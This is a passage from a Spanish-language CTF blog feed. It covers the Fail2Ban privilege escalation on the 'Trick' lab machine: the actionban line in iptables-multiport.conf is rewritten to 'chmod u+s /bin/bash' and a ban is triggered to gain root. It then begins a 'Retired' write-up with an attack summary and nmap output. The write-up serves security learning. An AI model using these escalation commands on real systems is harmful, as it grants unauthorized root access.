&lt;p&gt;El archivo &lt;code&gt;/etc/fail2ban/jail.conf&lt;/code&gt; define que tras &lt;strong&gt;5 intentos fallidos&lt;/strong&gt;, la IP será baneada ejecutando una acción. La acción por defecto suele implicar &lt;code&gt;iptables-multiport&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-809e-970f-cf374ddde061.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Exploaramos ese archivo &lt;code&gt;iptables-multiport.conf&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;michael@trick&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/etc/fail2ban/action.d$ cat iptables-multiport.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Fail2Ban configuration file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Author: Cyril Jaquier&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Modified by Yaroslav Halchenko for multiport banning&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;INCLUDES&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;before = iptables-common.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;Definition&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option: actionstart&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Notes.: command executed once at the start of Fail2Ban.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Values: CMD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actionstart = &amp;lt;iptables&amp;gt; -N f2b-&amp;lt;name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;iptables&amp;gt; -A f2b-&amp;lt;name&amp;gt; -j &amp;lt;returntype&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;iptables&amp;gt; -I &amp;lt;chain&amp;gt; -p &amp;lt;protocol&amp;gt; -m multiport --dports &amp;lt;port&amp;gt; -j f2b-&amp;lt;name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option: actionstop&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Notes.: command executed once at the end of Fail2Ban&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Values: CMD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actionstop = &amp;lt;iptables&amp;gt; -D &amp;lt;chain&amp;gt; -p &amp;lt;protocol&amp;gt; -m multiport --dports &amp;lt;port&amp;gt; -j f2b-&amp;lt;name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;actionflush&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;iptables&amp;gt; -X f2b-&amp;lt;name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option: actioncheck&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Notes.: command executed once before each actionban command&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Values: CMD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actioncheck = &amp;lt;iptables&amp;gt; -n -L &amp;lt;chain&amp;gt; | grep -q &lt;span style="color:#e6db74"&gt;&amp;#39;f2b-&amp;lt;name&amp;gt;[ \t]&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option: actionban&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Notes.: command executed when banning an IP. Take care that the&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# command is executed with Fail2Ban user rights.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Tags: See jail.conf(5) man page&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Values: CMD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actionban = &amp;lt;iptables&amp;gt; -I f2b-&amp;lt;name&amp;gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; -s &amp;lt;ip&amp;gt; -j &amp;lt;blocktype&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option: actionunban&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Notes.: command executed when unbanning an IP. Take care that the&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# command is executed with Fail2Ban user rights.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Tags: See jail.conf(5) man page&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Values: CMD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actionunban = &amp;lt;iptables&amp;gt; -D f2b-&amp;lt;name&amp;gt; -s &amp;lt;ip&amp;gt; -j &amp;lt;blocktype&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;Init&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Edito el archivo &lt;code&gt;/etc/fail2ban/action.d/iptables-multiport.conf&lt;/code&gt;. Mi objetivo es cambiar el comando que se ejecuta al banear una IP (&lt;code&gt;actionban&lt;/code&gt;) por uno que me otorgue permisos de root.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mv iptables-multiport.conf .old
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cp .old iptables-multiport.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim iptables-multiport.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esto podemos modificar el archivo. ya que estamos dentro del grupo &lt;code&gt;security&lt;/code&gt; que nos permite mover archivos y reescribirlos.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actionban = chmod u+s /bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="ejecución"&gt;Ejecución&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Reinicio Fail2Ban para aplicar la configuración maliciosa:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo /etc/init.d/fail2ban restart
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Podemos ver en el archivo&lt;code&gt;/etc/fail2ban/jail.conf&lt;/code&gt; cuantos intentos tenemos antes del baneo, son 5.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80ba-bdb2-f3d41474a693.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Desde mi máquina atacante (o abriendo otra sesión local), intento loguearme por SSH con una contraseña incorrecta &lt;strong&gt;5 veces&lt;/strong&gt; para disparar la regla de baneo.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh msassam@trick.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# (Fallo la contraseña 5 veces intencionalmente)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Una vez activado el &amp;ldquo;ban&amp;rdquo;, Fail2Ban ejecuta mi comando malicioso. Verifico los permisos de bash:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-803f-8412-dfb4b0a0cb3e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Tenemos shell como root!&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80f2-8555-f8137301f84c.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Retired (Medium)</title><link>https://synacklabs.github.io/posts/retired/</link><pubDate>Fri, 16 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/retired/</guid><description>&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8060-8892-ef83924f719e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Esta máquina ha sido de las más duras que he hecho. La parte de explotación se apoya en un &lt;em&gt;stack-based buffer overflow&lt;/em&gt; y, siendo sinceros, no soy muy fan del &lt;em&gt;buffer overflow&lt;/em&gt;, así que me obligó a ir con mucho más cuidado de lo normal.&lt;/p&gt;
&lt;p&gt;A grandes rasgos, la intrusión va así:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Enumeración web y descubrimiento de un &lt;strong&gt;LFI&lt;/strong&gt; en &lt;code&gt;page=&lt;/code&gt; usando &lt;code&gt;php://filter&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Bypass del filtro de &lt;em&gt;path traversal&lt;/em&gt; por cómo usan &lt;code&gt;str_replace&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Descubrimiento de un servicio interno que procesa licencias y que es vulnerable a &lt;strong&gt;BOF&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Explotación con &lt;strong&gt;Ret2Libc&lt;/strong&gt; (por NX) y obtención de &lt;em&gt;reverse shell&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Escalada a &lt;code&gt;dev&lt;/code&gt; abusando de un &lt;strong&gt;backup service&lt;/strong&gt; con &lt;code&gt;zip&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Escalada a &lt;code&gt;root&lt;/code&gt; abusando de &lt;strong&gt;binfmt_misc&lt;/strong&gt; mediante un helper con &lt;code&gt;cap_dac_override&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="enumeración-inicial"&gt;Enumeración inicial&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;.4p1 Debian &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; (protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;3072&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;77&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b2&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;57&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c2&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;3c&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;bf&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;62&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;76&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ea&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;81&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;e4&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;69&lt;/span&gt; (RSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkfdfWGso2b9nD1yYlcq35Rrc1OCqcabTsuKoIlCXMayYEXqqWVohwu+rXyX06gzGR4EYp/fvb1BUo7n819iCzKhFjf2W2RHWfBne9TpRShBtQJ95oQhM6djuEahYzOTWiO1wTYqMdZQwANin/HXPIu2i+KoeeeOPL6g0qE2e4pMKI+BDo4SteVObt3ssP5NLTmNOSqVqKoFnUTNNnyqlwcbO67tRVINku2Kc6LH/HV0XBGjVqMmwfz3MokaBmAqTpn2td6x7CKcPRfiRgIB5AqkePgqHZl8Wn+TdsG6gziPJ6+NVcvadMJ2ErsJLuchds0ZNToG3P879UTFUrF9Qn+Z0TiTN7X0FgbOGG6u7iaN/r4NP0t2qmp2rS+se+Q/j21T4jBFJOXxqjRWQvGfayIKic4Enkxwv5WvAd3uNm9R/WEIxf7Ol0eMK39fUdfElOTViPNOyW/vT6gA9DxcBZM/X1xPgC1XqNKs0mdA1cZY34BQVffDQ2carfW9JzBb8=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; cb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;09&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;2a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;1b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;65&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;75&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;94&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;dd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ba&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;28&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;5b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;d2 (ECDSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKT7918Wsxx40zkqP9APcaPrC5DXZf5yJdrTvgykTvijs34VtZ+QnelzftO5kayBMgNgnOe1e6lj/VKK4l+38OU=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f0&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a8&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;63&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;29&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ae&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;08&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;66&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;cd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;6b (ED25519)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOvB+7fNvrbSjtwto1GCaTWqRasmSlmx+oz5dveP8m5/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; nginx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-title&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Agency - Start Bootstrap Theme
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_Requested resource was /index.php&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;page=&lt;span style="color:#66d9ef"&gt;default&lt;/span&gt;.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-favicon: Unknown favicon MD5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 556F31ACD686989B1AFCF382C05846AA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; GET HEAD POST
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Linux; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:linux&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/f635da96-fd19-4a1e-9a45-e863f4a7c6b0.png" alt="Imagen del post"&gt;&lt;/p&gt;</description><content>&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8060-8892-ef83924f719e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Esta máquina ha sido de las más duras que he hecho. La parte de explotación se apoya en un &lt;em&gt;stack-based buffer overflow&lt;/em&gt; y, siendo sinceros, no soy muy fan del &lt;em&gt;buffer overflow&lt;/em&gt;, así que me obligó a ir con mucho más cuidado de lo normal.&lt;/p&gt;
&lt;p&gt;A grandes rasgos, la intrusión va así:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Enumeración web y descubrimiento de un &lt;strong&gt;LFI&lt;/strong&gt; en &lt;code&gt;page=&lt;/code&gt; usando &lt;code&gt;php://filter&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Bypass del filtro de &lt;em&gt;path traversal&lt;/em&gt; por cómo usan &lt;code&gt;str_replace&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Descubrimiento de un servicio interno que procesa licencias y que es vulnerable a &lt;strong&gt;BOF&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Explotación con &lt;strong&gt;Ret2Libc&lt;/strong&gt; (por NX) y obtención de &lt;em&gt;reverse shell&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Escalada a &lt;code&gt;dev&lt;/code&gt; abusando de un &lt;strong&gt;backup service&lt;/strong&gt; con &lt;code&gt;zip&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Escalada a &lt;code&gt;root&lt;/code&gt; abusando de &lt;strong&gt;binfmt_misc&lt;/strong&gt; mediante un helper con &lt;code&gt;cap_dac_override&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="enumeración-inicial"&gt;Enumeración inicial&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;.4p1 Debian &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; (protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
